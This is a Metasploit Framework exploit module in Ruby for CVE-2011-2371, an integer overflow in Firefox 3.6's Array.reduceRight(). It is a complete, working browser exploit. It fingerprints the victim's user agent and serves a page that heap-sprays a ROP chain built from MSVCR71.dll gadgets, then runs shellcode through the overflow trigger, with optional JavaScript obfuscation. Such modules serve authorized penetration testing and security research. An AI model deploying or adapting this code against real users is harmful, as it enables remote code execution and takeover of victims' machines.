## # $Id: mozilla_reduceright.rb 13909 2011-10-13 03:16:15Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "Mozilla Firefox Array.reduceRight() Integer Overflow", 'Description' => %q{ This module exploits a vulnerability found in Mozilla Firefox 3.6. When an array object is configured with a large length value, the reduceRight() method may cause an invalid index being used, allowing abitrary remote code execution. Please note that the exploit requires a longer amount of time (compare to a typical browser exploit) in order to gain control of the machine. }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 13909 $", 'Author' => [ 'Chris Rohlf', #Matasano Security (Initial discovery according to Mozilla.org) 'Yan Ivnitskiy', #Matasano Security (Initial discovery with Chris?) 'Matteo Memelli', #PoC from Exploit-DB 'dookie2000ca', #"Helping" ryujin (Matteo) 'sinn3r', #Metasploit ], 'References' => [ ['CVE', '2011-2371'], ['URL', 'http://http://www.exploit-db.com/exploits/17974/'], ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=664009'] ], 'Payload' => { 'BadChars' => "\x00", 'PrependEncoder' => "\xbc\x0c\x0c\x0c\x0c", }, 'DefaultOptions' => { 'ExitFunction' => "process", 'InitialAutoRunScript' => 'migrate -f', }, 'Platform' => 'win', 'Targets' => [ #Windows XP / Vista / 7 [ 'Mozilla Firefox 3.6.16', {} ], ], 'Privileged' => false, 'DisclosureDate' => "Jun 21 2011", 'DefaultTarget' => 0 )) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) ], self.class) end def junk return rand_text_alpha(4).unpack("L")[0].to_i end def on_request_uri(cli, request) agent = request.headers['User-Agent'] if agent !~ /Firefox\/3\.6\.[16|17]/ vprint_error("This browser is not supported: #{agent.to_s}") send_not_found(cli) return end #mona.py tekniq! + Payload rop = [ 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0x7c37a140, # Make EAX readable 0x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll) 0x7c348b06, # EBP (NOP) 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0x7c37a140, # <- VirtualProtect() found in IAT 0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll) 0x7c346c0b, # Slide, so next gadget would write to correct stack location 0x7c376069, # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll) 0x7c348b06, # EDI (filler) 0x7c348b06, # will be patched at runtime (VP), then picked up into ESI 0x7c348b06, # EBX (filler) 0x7c376402, # POP EBP # RETN (msvcr71.dll) 0x7c345c30, # ptr to push esp # ret (from MSVCR71.dll) 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0xfffff82f, # size 20001 bytes 0x7c351e05, # NEG EAX # RETN (MSVCR71.dll) 0x7c354901, # POP EBX # RETN (MSVCR71.dll) 0xffffffff, # pop value into ebx 0x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll) 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll) 0x7c34d201, # POP ECX # RETN (MSVCR71.dll) 0x7c38b001, # RW pointer (lpOldProtect) (-> ecx) 0x7c34b8d7, # POP EDI # RETN (MSVCR71.dll) 0x7c34b8d8, # ROP NOP (-> edi) 0x7c344f87, # POP EDX # RETN (MSVCR71.dll) 0xffffffc0, # value to negate, target value : 0x00000040, target: edx 0x7c351eb1, # NEG EDX # RETN (MSVCR71.dll) 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0x90909090, # NOPS (-> eax) 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll) ].pack('V*') table = [0x4141].pack('v*') table << [ 0x0c000048, junk, junk, junk, junk, junk, junk, junk, junk, ].pack('V*') table << [0x4141].pack('v*') table << [ 0x7c370eef, junk, ].pack('V*') table << [0x4141].pack('v*') table << [ 0x3410240c, 0x0c00007c, junk, junk, junk, junk, junk, junk, junk, junk, junk, junk, junk, junk, 0x0c00002e ].pack('V*') p = payload.encoded arch = Rex::Arch.endian(target.arch) js_payload = Rex::Text.to_unescape(rop + p, arch) js_ptrs = Rex::Text.to_unescape(table, arch) #Pretty much based on Matteo's code except for the size adjustment to avoid a busted heap js = <<-JS var applet = document.getElementById('MyApplet'); function spray() { var ptrs = unescape("#{js_ptrs}"); var bheader = 0x12/2; var nullt = 0x2/2; var espoffset = (7340 /2) - ptrs.length; var esppadding = unescape("%u0c0c%u0c0c"); while(esppadding.length < espoffset) esppadding += esppadding; esppadding = esppadding.substring(0, espoffset); var payload = unescape("#{js_payload}"); var tr_padding = unescape("%u0c0c%u0c0c"); while (tr_padding.length < 0x7fa00) {tr_padding += tr_padding;} var dummy = ptrs + esppadding + payload + tr_padding; var hspray = dummy.substring(0,0x7fa00 - bheader - nullt); HeapBlocks = new Array() for (i=0;i<0x60;i++){ HeapBlocks[i] += hspray; } } spray(); obj = new Array; obj.length = 2197815302; f = function trigger(prev, myobj, indx, array) { alert(myobj[0]); } obj.reduceRight(f,1,2,3); JS js = js.gsub(/^\t\t/, '') if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end html = <<-HTML You need a Java-enabled browser to pwn this. HTML print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end